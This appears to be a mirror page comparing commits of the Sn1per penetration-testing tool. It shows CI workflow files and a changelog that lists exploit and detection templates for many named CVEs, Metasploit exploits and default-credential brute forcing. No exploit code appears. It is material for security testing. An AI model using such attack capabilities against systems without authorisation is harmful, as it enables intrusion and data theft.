mirror of https://github.com/1N3/Sn1per.git
Compare commits
416 Commits
| Author | SHA1 | Date |
|---|---|---|
|
|
a5450bc496 | |
|
|
4130a58ccf | |
|
|
a965fa4431 | |
|
|
91de0b310c | |
|
|
32d1915f62 | |
|
|
7f8ec41102 | |
|
|
f9ce7051f8 | |
|
|
9fec4fc842 | |
|
|
795557c52b | |
|
|
68282e0bcb | |
|
|
7ffa671fff | |
|
|
34747b3576 | |
|
|
16b2dfcbb4 | |
|
|
14a0d6f448 | |
|
|
3059110ddf | |
|
|
6f22ff3f3a | |
|
|
33f530d6c8 | |
|
|
cb4e7ceef1 | |
|
|
feeb5c6581 | |
|
|
345551590b | |
|
|
0b464aeb32 | |
|
|
163a6adf2b | |
|
|
e93d435a54 | |
|
|
ed440db38c | |
|
|
179ac1e783 | |
|
|
3d458e7b2b | |
|
|
4ff7c0cc89 | |
|
|
699fa61051 | |
|
|
5c3aed59b3 | |
|
|
b40999a39b | |
|
|
ff3df6149e | |
|
|
fa6171de7b | |
|
|
c66d2a158c | |
|
|
b10362bdab | |
|
|
2b78432199 | |
|
|
308f22c6a2 | |
|
|
7f5657e8fe | |
|
|
09c852993b | |
|
|
8058f3faa5 | |
|
|
36466220f9 | |
|
|
beeac68f1a | |
|
|
8cc3d5f25b | |
|
|
0f31b5b6c3 | |
|
|
7d53725462 | |
|
|
ef0863c4f8 | |
|
|
7326756585 | |
|
|
ca08f79ab2 | |
|
|
10917656ae | |
|
|
bfd10578ad | |
|
|
bdf8f1170f | |
|
|
449eaf4173 | |
|
|
9233c70705 | |
|
|
e7a0698e74 | |
|
|
b237711456 | |
|
|
843b2c46d6 | |
|
|
d51dece161 | |
|
|
a852a23bbc | |
|
|
5d6a4336e3 | |
|
|
dbfa48b8a2 | |
|
|
e56263f4e4 | |
|
|
54755d7193 | |
|
|
1c894ecd14 | |
|
|
b0cf787f6d | |
|
|
d0c4ea461f | |
|
|
f5bbb36144 | |
|
|
2e7af5d9c0 | |
|
|
7dcf77b200 | |
|
|
8a2dbc8fc8 | |
|
|
9b98b209e8 | |
|
|
ed6af61352 | |
|
|
971038eebb | |
|
|
2cabdb512f | |
|
|
c1ea2a9b16 | |
|
|
d0d55d424c | |
|
|
95fd7982fc | |
|
|
6c1f0aec25 | |
|
|
2cd7bbcbae | |
|
|
20e2164e81 | |
|
|
2f388766c6 | |
|
|
ea50061017 | |
|
|
94619dda12 | |
|
|
a5eb2fab79 | |
|
|
bba3c457a3 | |
|
|
3fbc49a027 | |
|
|
1c7759d66f | |
|
|
2e299ae46d | |
|
|
16d201b017 | |
|
|
a91580b75f | |
|
|
f47afeaeb1 | |
|
|
37f5589513 | |
|
|
3fa0dfba46 | |
|
|
481befa4fd | |
|
|
42c97445ab | |
|
|
17ea813c0d | |
|
|
39584865ba | |
|
|
ade0a84fee | |
|
|
cb79d17e16 | |
|
|
7ef0ad253a | |
|
|
c76e65bc03 | |
|
|
d916111983 | |
|
|
dfe1598d3f | |
|
|
225588e7d2 | |
|
|
7af1b65a01 | |
|
|
5d97699938 | |
|
|
c2a344966b | |
|
|
88c5b42818 | |
|
|
a34c29a08b | |
|
|
00f0236c6e | |
|
|
4a3b3dcecf | |
|
|
5b75e094fe | |
|
|
cd3bcca565 | |
|
|
bd9b021a29 | |
|
|
dcddeaab2a | |
|
|
11acd0ed92 | |
|
|
10facebcdc | |
|
|
3d1f82c275 | |
|
|
dd1e880dab | |
|
|
e4a6c2f69a | |
|
|
9806956b95 | |
|
|
bc91d6e2f1 | |
|
|
db0f4844df | |
|
|
7e9991e167 | |
|
|
6594a7652d | |
|
|
0ebabf0ee1 | |
|
|
445e629131 | |
|
|
2e90967757 | |
|
|
f6569151e8 | |
|
|
641ee99f30 | |
|
|
6b24418c29 | |
|
|
78a3438501 | |
|
|
72d7fda4da | |
|
|
074295caf1 | |
|
|
027b1bcf0b | |
|
|
8cd2312b8d | |
|
|
b0c528086a | |
|
|
bdb35d849a | |
|
|
31dcb606e4 | |
|
|
ea8110e87d | |
|
|
5be99f8c78 | |
|
|
0ac270267d | |
|
|
dc9fb22e65 | |
|
|
6b5b97b30b | |
|
|
73f9b31303 | |
|
|
fdb5bee2fe | |
|
|
5e482d121d | |
|
|
23a8c393d4 | |
|
|
ba5d5501a0 | |
|
|
4c13b5b4e3 | |
|
|
6af2ec1c8d | |
|
|
ad00141424 | |
|
|
d2e5af081e | |
|
|
3d5fffa092 | |
|
|
c2fb0f7b62 | |
|
|
73481128ea | |
|
|
77e2e95a75 | |
|
|
6e4382a7e3 | |
|
|
a3a3199c0d | |
|
|
af26b6051e | |
|
|
6d2d9e0434 | |
|
|
9deac2b597 | |
|
|
34fc14a759 | |
|
|
5ba592387c | |
|
|
2854c4b3ee | |
|
|
11dc28dcc4 | |
|
|
88dc7f3afd | |
|
|
873077473c | |
|
|
7c2eb0f008 | |
|
|
6f6b2a964d | |
|
|
56e54ea9c5 | |
|
|
c50af967c0 | |
|
|
7bcb639e3f | |
|
|
1c719c3486 | |
|
|
5795195244 | |
|
|
3cf69bccf0 | |
|
|
02aff8f01e | |
|
|
ab5e36cbc1 | |
|
|
0be3c71a2d | |
|
|
fce0cc6dde | |
|
|
74ee9e6517 | |
|
|
635c0995ca | |
|
|
ddbd891fec | |
|
|
5ef3da85ec | |
|
|
db53483876 | |
|
|
5d9f0f4695 | |
|
|
65d476ff88 | |
|
|
60cf6657cf | |
|
|
bc9a60b37e | |
|
|
4b07637b06 | |
|
|
3b56239097 | |
|
|
9b411613f8 | |
|
|
e8d05be35b | |
|
|
7420513829 | |
|
|
326c2170ae | |
|
|
73759fbd1f | |
|
|
80816038fb | |
|
|
8b347bdc06 | |
|
|
e0296346ee | |
|
|
947ec64f43 | |
|
|
95204f51a4 | |
|
|
98fd5e69a0 | |
|
|
18afe7db62 | |
|
|
5691703ea6 | |
|
|
eb4d1e714f | |
|
|
fbd861f10f | |
|
|
0260383787 | |
|
|
caef56bb12 | |
|
|
18b8f23f0d | |
|
|
7d46fcdb31 | |
|
|
eb67ebd2bc | |
|
|
c0c21a3a54 | |
|
|
5c8d08fdec | |
|
|
81045922de | |
|
|
56f9568017 | |
|
|
c2f4b66d73 | |
|
|
e3c58af26a | |
|
|
f17e031662 | |
|
|
cfcf17e057 | |
|
|
a1fed2f8ca | |
|
|
f78aabe028 | |
|
|
808708885f | |
|
|
76b5b34b75 | |
|
|
4878169d66 | |
|
|
31df5dc44d | |
|
|
2dc57b5a5e | |
|
|
97086bc71f | |
|
|
7a7873b6e4 | |
|
|
c96bbc26b1 | |
|
|
fa67eefde2 | |
|
|
95fc0361b0 | |
|
|
3aac6ec64e | |
|
|
ac61c093df | |
|
|
9f7628c1aa | |
|
|
c606e34151 | |
|
|
5020eec4e5 | |
|
|
c37746b16c | |
|
|
d06a47fe62 | |
|
|
87242fb1fd | |
|
|
1399d227ed | |
|
|
d536751f66 | |
|
|
0fc6ab630c | |
|
|
f29caa4e33 | |
|
|
4907e39cce | |
|
|
0c3e75b2ec | |
|
|
04cb1e114d | |
|
|
dae095c78c | |
|
|
e85907bb26 | |
|
|
05c60b4a09 | |
|
|
8d7c2bda16 | |
|
|
eaadde00dc | |
|
|
7b23ed4902 | |
|
|
2ce7c2c6aa | |
|
|
3d76ffa9fc | |
|
|
0463dbf29e | |
|
|
1a96b105db | |
|
|
7adb5b3998 | |
|
|
c236a48aa8 | |
|
|
7c7b8a3a6b | |
|
|
4adbb24a48 | |
|
|
439db5e98f | |
|
|
725143b79a | |
|
|
21e0bb4160 | |
|
|
47ddf9a59e | |
|
|
6e6481c83a | |
|
|
ec4b6dd32f | |
|
|
118b7745cf | |
|
|
e0a36c05eb | |
|
|
3b2d54956e | |
|
|
ef34b0e0f3 | |
|
|
e8e3e9ecbe | |
|
|
dae1756f7f | |
|
|
6e13c6ffb9 | |
|
|
4c810f5ced | |
|
|
312188a26c | |
|
|
837fb24763 | |
|
|
d181fdbc1b | |
|
|
37dc672560 | |
|
|
766fa015fa | |
|
|
9aca40c716 | |
|
|
527fb601e3 | |
|
|
7da27545a1 | |
|
|
df3228766d | |
|
|
0ef5c0d5be | |
|
|
b5eb941515 | |
|
|
8d3b7d3210 | |
|
|
e306c9ee8a | |
|
|
e356eb536c | |
|
|
1dddc8686c | |
|
|
0b9638f19c | |
|
|
ac14cf35a9 | |
|
|
0bc48e2915 | |
|
|
8331e3ac33 | |
|
|
8976e7d605 | |
|
|
d8ad103820 | |
|
|
2a60424191 | |
|
|
640dfcfcf3 | |
|
|
4985da2a76 | |
|
|
43550cf2c3 | |
|
|
96ac9c2532 | |
|
|
b4403a9873 | |
|
|
5e7632b6d9 | |
|
|
97b67064e7 | |
|
|
077b93b400 | |
|
|
de0df1f8bd | |
|
|
ea9422db7b | |
|
|
9eb7db3764 | |
|
|
3ab10a32e4 | |
|
|
bdcdfa4380 | |
|
|
896806fa8c | |
|
|
2d1e7241cf | |
|
|
273af4c2cc | |
|
|
bae077a4ad | |
|
|
a66fde3e22 | |
|
|
6dfd449e66 | |
|
|
058326f750 | |
|
|
ecf7293ba1 | |
|
|
b59467344f | |
|
|
3a78c9f489 | |
|
|
45fe5496fc | |
|
|
1dbb5663de | |
|
|
a59df3321f | |
|
|
8dba8cfb29 | |
|
|
1cb3f7ab77 | |
|
|
5b569018ce | |
|
|
c19c9e015d | |
|
|
223a0d68ff | |
|
|
6accd86ac4 | |
|
|
d879e5027c | |
|
|
b612e24e7b | |
|
|
e5be2c781c | |
|
|
695aa3e182 | |
|
|
0f81ddf3ee | |
|
|
3ecd54d61e | |
|
|
8ef6a2bea3 | |
|
|
2ff5cf48c9 | |
|
|
fbe3dee2c1 | |
|
|
d30eb53a39 | |
|
|
40430cd2dd | |
|
|
2a593cad9a | |
|
|
6a20a9a574 | |
|
|
b19b6a156e | |
|
|
8f737721af | |
|
|
06c3bbf2e8 | |
|
|
f749940c57 | |
|
|
1aafbe35ec | |
|
|
359463551b | |
|
|
df314a74e6 | |
|
|
95c30b8036 | |
|
|
cf8ad51f90 | |
|
|
ede4aa7328 | |
|
|
97a4a3f912 | |
|
|
552cab2326 | |
|
|
e85d169c8e | |
|
|
15257a8cdf | |
|
|
cb8802ac8b | |
|
|
68ef61a322 | |
|
|
9337b4e4ba | |
|
|
f8a74a8417 | |
|
|
5203474d36 | |
|
|
796cccc830 | |
|
|
05d88837a0 | |
|
|
035fb3866a | |
|
|
475f32807e | |
|
|
7ae405162a | |
|
|
a4127c82c8 | |
|
|
f9e3aef5c0 | |
|
|
b4dcb10a87 | |
|
|
a1c3419dc1 | |
|
|
a13d04e7c4 | |
|
|
2ca9aa4e96 | |
|
|
6e34fe1d77 | |
|
|
bdc2470974 | |
|
|
9facf91a7f | |
|
|
3d81fd4ad3 | |
|
|
b8c1fa33f5 | |
|
|
2a27e50321 | |
|
|
6172ddf42e | |
|
|
c282b94125 | |
|
|
c72ef7657c | |
|
|
0506791292 | |
|
|
0bd31546b8 | |
|
|
a0a9c04c2e | |
|
|
4488fdfe01 | |
|
|
b5b0faeb35 | |
|
|
bab30ab22d | |
|
|
ae4960b7a8 | |
|
|
069ebf4e7e | |
|
|
4169ffb105 | |
|
|
2948d9962b | |
|
|
e2b57db6fe | |
|
|
dca2c1b510 | |
|
|
c44995807f | |
|
|
a4542b74dd | |
|
|
f8d9789d0d | |
|
|
952686627a | |
|
|
c40468165d | |
|
|
0961f92c38 | |
|
|
d62e8e0519 | |
|
|
bc9b482256 | |
|
|
e72a1c54b7 | |
|
|
feac8455fe | |
|
|
3f42906195 | |
|
|
6f0da67bd0 | |
|
|
9d14d59ba3 | |
|
|
4edeb65ef4 | |
|
|
9cf61bb378 | |
|
|
3c380d02ff | |
|
|
3eb6375516 | |
|
|
e5fb07bbda | |
|
|
4575209878 | |
|
|
ef7d4cbc0c | |
|
|
413913ce18 | |
|
|
8f2d9d9cc9 | |
|
|
9e0bf26b3c | |
|
|
acabacdf84 | |
|
|
a1e1c400de | |
|
|
6fab10e142 |
|
|
@ -0,0 +1,58 @@
|
|||
name: Build and Push
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- development
|
||||
- feat*
|
||||
tags:
|
||||
- "v*"
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
|
||||
env:
|
||||
REGISTRY: ghcr.io
|
||||
IMAGE_NAME: ${{ github.repository }}
|
||||
|
||||
jobs:
|
||||
docker-build:
|
||||
permissions:
|
||||
contents: read
|
||||
packages: write
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
|
||||
- name: Setting environment variables
|
||||
run: |
|
||||
echo "repo_name=${{ env.IMAGE_NAME }}" >> $GITHUB_ENV
|
||||
|
||||
- uses: actions/checkout@v3
|
||||
|
||||
- name: Docker meta
|
||||
id: meta
|
||||
uses: docker/metadata-action@v4
|
||||
with:
|
||||
images: ${{ env.REGISTRY}}/${{ env.repo_name }}
|
||||
flavor: latest=true
|
||||
tags: |
|
||||
type=ref,event=branch
|
||||
type=ref,event=pr
|
||||
type=semver,pattern={{version}}
|
||||
|
||||
- name: Login to image repository
|
||||
uses: docker/login-action@v2
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v3
|
||||
with:
|
||||
context: .
|
||||
file: Dockerfile
|
||||
push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}}
|
||||
tags: ${{ steps.meta.outputs.tags }}
|
||||
labels: ${{ steps.meta.outputs.labels }}
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
on:
|
||||
workflow_dispatch: {}
|
||||
pull_request: {}
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
paths:
|
||||
- .github/workflows/semgrep.yml
|
||||
schedule:
|
||||
# random HH:MM to avoid a load spike on GitHub Actions at 00:00
|
||||
- cron: 2 23 * * *
|
||||
name: Semgrep
|
||||
jobs:
|
||||
semgrep:
|
||||
name: semgrep/ci
|
||||
runs-on: ubuntu-20.04
|
||||
env:
|
||||
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
|
||||
container:
|
||||
image: returntocorp/semgrep
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- run: semgrep ci
|
||||
307
CHANGELOG.md
307
CHANGELOG.md
|
|
@ -1,4 +1,309 @@
|
|||
## CHANGELOG:
|
||||
* v9.2 - Added Tomba.io API integration via OSINT mode (Credit: @benemohamed)
|
||||
* v9.2 - Fixed issue with gau tool not installing and updated GAU setting in confs
|
||||
* v9.2 - Updated python2 to python3
|
||||
* v9.2 - Removed Slurp tool
|
||||
* v9.2 - Added BlackArch Dockerfile (Credit: @AnonymousWP)
|
||||
* v9.2 - Updated DockerFile to latest Kali release (Credit: @AnonymousWP)
|
||||
* v9.1 - Fixed issue with dirsearch installation/command syntax update
|
||||
* v9.1 - Updated Nuclei sc0pe templates
|
||||
* v9.1 - Fixed issue with Nuclei sc0pe parsers not working
|
||||
* v9.1 - Fixed issue with GAU installer/commmand not working
|
||||
* v9.1 - Fixed issue with passive URL fetching
|
||||
* v9.1 - Fixed issue with nuclei not being installed
|
||||
* v9.1 - Removed error in hackertarget URL fetching
|
||||
* v9.1 - Added dnsutils to installer to fix missing deps
|
||||
* v9.1 - Fixed issue with gau in webscan modes not running
|
||||
* v9.1 - Updated subfinder to latest version
|
||||
* v9.1 - Added new email spoofing security checks to OSINT mode (-o)
|
||||
* v9.1 - Removed spoofcheck.py
|
||||
* v9.1 - Updated timeout settings for curl which was causing sockets/scans to hang
|
||||
* v9.1 - Fixed issue with Nuclei symlink missing in installer
|
||||
* v9.1 - Fixed issue with Nuclei sc0pe parser not parsing results correctly
|
||||
* v9.1 - Fixed issue with Dirsearch not running due to invalid command settings
|
||||
* v9.1 - Fixed issue with Nuclei templates not being installed
|
||||
* v9.1 - Fixed issue with enum4linux command not being installed
|
||||
* v9.1 - Fixed HackerTarget API integration
|
||||
* v9.1 - Fixed issue with ping command not being installed
|
||||
* v9.1 - Fixed issue with carriage returns in conf
|
||||
* v9.1 - Fixed issue with DNS resolution in 'discover' mode scans causing duplicate hosts
|
||||
* v9.1 - Fixed issue with bruteforce running automatically due to changes in conf file
|
||||
* v9.1 - Added verbose scan notifications for disabled conf options
|
||||
* v9.1 - Updated default aux mode options in default sniper.conf
|
||||
* v9.0 - Added Fortinet FortiGate SSL VPN Panel Detected sc0pe template
|
||||
* v9.0 - Added CVE-2020-17519 - Apache Flink Path Traversal sc0pe template
|
||||
* v9.0 - Added RabbitMQ Management Interface Detected sc0pe template
|
||||
* v9.0 - Added CVE-2020-29583 Zyxel SSH Hardcoded Credentials via BruteX
|
||||
* v9.0 - Removed vulnscan NMap CSV updates/downloads to save space/bandwidth
|
||||
* v9.0 - Added Nuclei sc0pe parser
|
||||
* v9.0 - Added Nuclei vulnerability scanner
|
||||
* v9.0 - Added Wordpress WPScan sc0pe vulnerability parser
|
||||
* v9.0 - Fixed issue with wrong WPscan API key command
|
||||
* v9.0 - Added CVE-2020-11738 - WordPress Duplicator plugin Directory Traversal sc0pe template
|
||||
* v9.0 - Renamed AUTO_VULNSCAN setting to "VULNSCAN" in sniper.conf to perform vulnerability scans via 'normal' mode
|
||||
* v8.9 - Tuned sniper.conf around performance for all scans and recon modes
|
||||
* v8.9 - Added out of scope options to config
|
||||
* v8.9 - Added automatic HTTP/HTTPS web scans and vulnerability scans to 'normal' mode
|
||||
* v8.9 - Added SolarWinds Orion Panel Default Credentials sc0pe template
|
||||
* v8.9 - Added SolarWinds Orion Panel sc0pe template
|
||||
* v8.9 - Fixed issue with UDP port scans not working
|
||||
* v8.9 - Fixed issue with theHarvester not running on Kali 2020.4
|
||||
* v8.9 - Added WPScan API support
|
||||
* v8.9 - Added CVE-2020-8209 - XenMobile-Citrix Endpoint Management Config Password Disclosure sc0pe template
|
||||
* v8.9 - Added CVE-2020-8209 - XenMobile-Citrix Endpoint Management Path Traversal sc0pe template
|
||||
* v8.9 - Removed verbose error for chromium on Ubuntu
|
||||
* v8.9 - Added CVE-2020-8209 - Citrix XenMobile Server Path Traversal sc0pe template
|
||||
* v8.9 - Fixed F+ in CSP Not Enforced sc0pe template
|
||||
* v8.9 - Added CVE-2020-14815 - Oracle Business Intelligence Enterprise DOM XSS sc0pe template
|
||||
* v8.9 - Fixed issue with dnscan not working in Kali 2020.3
|
||||
* v8.9 - Fixed issue with screenshots not working in Ubuntu 2020
|
||||
* v8.9 - Added Frontpage Service Password Disclosure sc0pe template
|
||||
* v8.9 - Removed Yasuo tool
|
||||
* v8.8 - Fixed issue with webscreenshot on Kali 2020.3+
|
||||
* v8.8 - Fixed error in install.sh for theharvester sym link
|
||||
* v8.8 - Fixed issue with flyover mode not capturing web screenshots
|
||||
* v8.8 - Added automatic 'flyover' scans of all discovered domains for 'recon' mode
|
||||
* v8.8 - Added static grep searching rules of all URL's and sub-domains (see sniper.conf for details)
|
||||
* v8.8 - Added verbose status logging to flyover mode showing HTTP status/redirect/title, etc.
|
||||
* v8.8 - Added integration for Port Scanner Add-on for Sn1per Professional
|
||||
* v8.8 - Added enhanced scanning of all unique dynamic URL's via InjectX fuzzer
|
||||
* v8.8 - Added CVE-2020-25213 - WP File Manager File Upload sc0pe template
|
||||
* v8.8 - Added cPanel Login Found sc0pe template
|
||||
* v8.8 - Added Wordpress WP-File-Manager Version Detected sc0pe template
|
||||
* v8.8 - Added VMware vCenter Unauthenticated Arbitrary File Read sc0pe template
|
||||
* v8.8 - Added PHP Composer Disclosure sc0pe template
|
||||
* v8.8 - Added Git Config Disclosure sc0pe template
|
||||
* v8.8 - Added updated NMap vulscan DB files
|
||||
* v8.8 - Added CVE-2020-9047 - exacqVision Web Service Remote Code Execution sc0pe template
|
||||
* v8.8 - Removed UDP port scan settings/options and combined with full portscan ports
|
||||
* v8.8 - Added CVE-2019-8442 - Jira Webroot Directory Traversal sc0pe template
|
||||
* v8.8 - Added CVE-2020-2034 - PAN-OS GlobalProtect OS Command Injection sc0pe template
|
||||
* v8.8 - Added CVE-2020-2551 - Unauthenticated Oracle WebLogic Server Remote Code Execution sc0pe template
|
||||
* v8.8 - Added CVE-2020-14181 - User Enumeration Via Insecure Jira Endpoint sc0pe template
|
||||
* v8.8 - Added Smuggler HTTP request smuggling detection
|
||||
* v8.8 - Added CVE-2020-0618 - Remote Code Execution SQL Server Reporting Services sc0pe template
|
||||
* v8.8 - Added CVE-2020-5412 - Full-read SSRF in Spring Cloud Netflix sc0pe template
|
||||
* v8.8 - Added Jaspersoft Detected sc0pe template
|
||||
* v8.8 - Added improved dirsearch exclude options to all web file/dir searches
|
||||
* v8.8 - Fixed naming conflict for theharvester
|
||||
* v8.8 - Created backups of all NMap HTML reports for fullportonly scans
|
||||
* v8.8 - Added line limit to GUA URL's displayed in console
|
||||
* v8.7 - Added AvantFAX LOGIN Detected sc0pe template
|
||||
* v8.7 - Updated web file bruteforce lists
|
||||
* v8.7 - Added updated Slack API integration/notifications
|
||||
* v8.7 - Added Arachni, Nikto, Nessus, NMap + 20 passive sc0pe vulnerability parsers
|
||||
* v8.7 - Added CVE-2020-15129 - Open Redirect In Traefik sc0pe template
|
||||
* v8.7 - Added MobileIron Login sc0pe template
|
||||
* v8.7 - Added Revive Adserver XSS sc0pe template
|
||||
* v8.7 - Added IceWarp Webmail XSS sc0pe template
|
||||
* v8.7 - Added Mara CMS v7.5 XSS sc0pe template
|
||||
* v8.7 - Added Administrative Privilege Escalation in SAP NetWeaver sc0pe template
|
||||
* v8.7 - Added Magento 2.3.0 SQL Injection sc0pe template
|
||||
* v8.7 - Added CVE-2020-15920 - Unauthenticated RCE at Mida eFramework sc0pe template
|
||||
* v8.7 - Added CVE-2019-7192 - QNAP Pre-Auth Root RCE sc0pe template
|
||||
* v8.7 - Added CVE-2020-10204 - Sonatype Nexus Repository RCE sc0pe template
|
||||
* v8.7 - Added CVE-2020-13167 - Netsweeper WebAdmin unixlogin.php Python Code Injection sc0pe template
|
||||
* v8.7 - Added CVE-2020-2140 - Jenkin AuditTrailPlugin XSS sc0pe template
|
||||
* v8.7 - Added CVE-2020-7209 - LinuxKI Toolset 6.01 Remote Command Execution sc0pe template
|
||||
* v8.7 - Added CVE-2019-16662 - rConfig 3.9.2 Remote Code Execution sc0pe template
|
||||
* v8.7 - Added Sitemap.xml Detected sc0pe template
|
||||
* v8.7 - Added Robots.txt Detected sc0pe template
|
||||
* v8.7 - Added AWS S3 Public Bucket Listing sc0pe template
|
||||
* v8.7 - Fixed logic error in stealth mode recon scans not running
|
||||
* v8.7 - Added CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset sc0pe template
|
||||
* v8.7 - Fixed F- detection in Wordpress Sc0pe templates
|
||||
* v8.7 - Added CVE-2020-11530 - Wordpress Chop Slider 3 Plugin SQL Injection sc0pe template
|
||||
* v8.7 - Added CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE sc0pe template
|
||||
* v8.7 - Added CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution Bypass sc0pe template
|
||||
* v8.6 - Added new Sn1per configuration flow that allows persistent user configurations and API key transfer
|
||||
* v8.6 - Updated port lists to remove duplicate ports error and slim down list
|
||||
* v8.6 - Updated PHP to 7.4
|
||||
* v8.6 - Added CVE-2020-12720 - vBulletin Unauthenticaed SQLi
|
||||
* v8.6 - Added CVE-2020-9757 - SEOmatic < 3.3.0 Server-Side Template Injection
|
||||
* v8.6 - Added CVE-2020-1147 - Remote Code Execution in Microsoft SharePoint Server
|
||||
* v8.6 - Added CVE-2020-3187 - Citrix Unauthenticated File Deletion
|
||||
* v8.6 - Added CVE-2020-8193 - Citrix Unauthenticated LFI
|
||||
* v8.6 - Added CVE-2020-8194 - Citrix ADC & NetScaler Gateway Reflected Code Injection
|
||||
* v8.6 - Added CVE-2020-8982 - Citrix ShareFile StorageZones Unauthenticated Arbitrary File Read
|
||||
* v8.6 - Added CVE-2020-9484 - Apache Tomcat RCE by deserialization
|
||||
* v8.6 - Added Cisco VPN scanner template
|
||||
* v8.6 - Added Tiki Wiki CMS scanner template
|
||||
* v8.6 - Added Palo Alto PAN OS Portal scanner template
|
||||
* v8.6 - Added SAP NetWeaver AS JAVA LM Configuration Wizard Detection
|
||||
* v8.6 - Added delete task workspace function to remove running tasks
|
||||
* v8.6 - Added CVE-2020-3452 - Cisco ASA/FTD Arbitrary File Reading Vulnerability Sc0pe template
|
||||
* v8.6 - Updated theharvester command to exclude github-code search
|
||||
* v8.6 - Updated theharvester installer to v3.1
|
||||
* v8.6 - Added urlscan.io API to OSINT mode (-o)
|
||||
* v8.6 - Added OpenVAS package to install.sh
|
||||
* v8.6 - Added Palo Alto GlobalProtect PAN-OS Portal Sc0pe template
|
||||
* v8.6 - Fixed issue with Javascript downloader downloading localhost files instead of target
|
||||
* v8.6 - Added CVE-2020-5902 F5 BIG-IP RCE sc0pe template
|
||||
* v8.6 - Added CVE-2020-5902 F5 BIG-IP XSS sc0pe template
|
||||
* v8.6 - Added F5 BIG-IP detection sc0pe template
|
||||
* v8.6 - Added interesting ports sc0pe template
|
||||
* v8.6 - Added components with known vulnerabilities sc0pe template
|
||||
* v8.6 - Added server header disclosure sc0pe template
|
||||
* v8.6 - Added SMBv1 enabled sc0pe template
|
||||
* v8.6 - Removed verbose comment from stealth scan
|
||||
* v8.5 - Added manual installer for Metasploit
|
||||
* v8.5 - Added Phantomjs manual installer
|
||||
* v8.5 - Added sc0pe template to check for default credentials via BruteX
|
||||
* v8.5 - Added fullportscans to all 'web' mode scans to ensure full port coverage
|
||||
* v8.5 - Fixed issue with 2nd stage OSINT scans not running
|
||||
* v8.5 - Added port values to sc0pe engine to define port numbers
|
||||
* v8.5 - Fixed issue with LinkFinder not working
|
||||
* v8.5 - Fixed issue with Javascript link parser
|
||||
* v8.5 - Added phantomjs dependency to fix webscreenshots on Ubuntu
|
||||
* v8.5 - Added http-default-accounts NMap NSE to check for default web credentials
|
||||
* v8.5 - Fixed several issues with install.sh to resolve deps on Ubuntu and Kali 2020.2
|
||||
* v8.5 - Removed larger wordlists to reduce install size of Sn1per
|
||||
* v8.5 - Added 20+ new active/passive sc0pe templates
|
||||
* v8.5 - Fixed issue with installer on latest Kali and Docker builds
|
||||
* v8.5 - Fixed custom installer for Arachni
|
||||
* v8.5 - Fixed Dockerfile with updated Kali image (CC. @stevemcilwain)
|
||||
* v8.4 - Added project "Sc0pe" active/passive vulnerability scanner
|
||||
* v8.4 - Added 68 new active sc0pe templates
|
||||
* v8.4 - Added 14 new passive sc0pe templates
|
||||
* v8.4 - Added OWASP ZAP API integration
|
||||
* v8.4 - Added 8 new Sn1per configuration templates (see /usr/share/sniper/conf/)
|
||||
* v8.4 - Added Gau (https://github.com/lc/gau)
|
||||
* v8.4 - Added rapiddns subdomain retrieval
|
||||
* v8.4 - Updated web content wordlists
|
||||
* v8.4 - Improved efficiency of 'web' and 'recon' mode scans
|
||||
* v8.4 - Disabled legacy Metasploit web exploits (check Sn1per conf to re-enable)
|
||||
* v8.4 - Fixed issue with dirsearch asterisk being used incorrectly
|
||||
* v8.4 - Fixed issue with airstrike mode not updated Sn1per Professional v8.0 host list
|
||||
* v8.4 - Fixed issue with webtech re.error: invalid group reference 1 at position 130
|
||||
* v8.3 - Added Github subdomain retrieval (requires API key/conf options enabled)
|
||||
* v8.3 - Added NMAP_OPTIONS setting to sniper.conf to configure optional NMap scan settings
|
||||
* v8.3 - Added option to specify custom Sn1per configuration via (-c) switch
|
||||
* v8.3 - Created several custom config files to select from, including: bug_bounty_quick, bug_bounty_max_javascript, super_stealth_mode, webpwn_only + more
|
||||
* v8.3 - Added workspace --export option to backup/export a workspace
|
||||
* v8.3 - Added flyover mode tuning options to sniper.conf
|
||||
* v8.3 - Added GitGraber automated Github leak search (https://github.com/hisxo/gitGraber)
|
||||
* v8.3 - Added static Javascript parsing for sub-domains, URL's, path relative links and comments
|
||||
* v8.3 - Added js-beautifier
|
||||
* v8.3 - Added LinkFinder Javascript link finder (https://github.com/GerbenJavado/LinkFinder)
|
||||
* v8.3 - Added fprobe HTTP probe checker (https://github.com/theblackturtle/fprobe)
|
||||
* v8.3 - Added Cisco RV320 and RV325 Unauthenticated Remote Code Execution CVE-2019-1653 MSF exploit
|
||||
* v8.3 - Improved performance of 'stealth' and 'recon' modes
|
||||
* v8.3 - Updated default port lists
|
||||
* v8.3 - Improved performance of all port scans
|
||||
* v8.3 - Added fix for missing Amass package
|
||||
* v8.3 - Added sniper.conf options for OPENVAS_HOST and OPENVAS_PORT selection for remote instances
|
||||
* v8.3 - Improved 'vulnscan' mode via OpenVAS to scan the same asset multiple times with improved error handling
|
||||
* v8.2 - Added root priv check to sniper script to run
|
||||
* v8.2 - Added NMap port change notifications via Slack
|
||||
* v8.2 - Fixed issue with firefox not loading on Kali Linux 2020.1
|
||||
* v8.2 - Fixed issue with Masswebscan mode not working
|
||||
* v8.2 - Added Rails file exposure exploit CVE-2019-5418
|
||||
* v8.2 - Updated wordlist selections to fingerprint common vulnerable applications
|
||||
* v8.2 - Added h8mail compromised credentials check to OSINT (-o) mode
|
||||
* v8.2 - Added Kali start menu app & icon for Sn1per
|
||||
* v8.2 - Added check for insecure SSL/TLS connections
|
||||
* v8.2 - Added NMAP_OPTIONS setting in ~/.sniper.conf to configure optional NMap settings
|
||||
* v8.2 - Fixed issue with ManageEngine MSF exploit payload
|
||||
* v8.2 - Added Spyse sub-domain enumeration tool (https://github.com/zeropwn/spyse.py)
|
||||
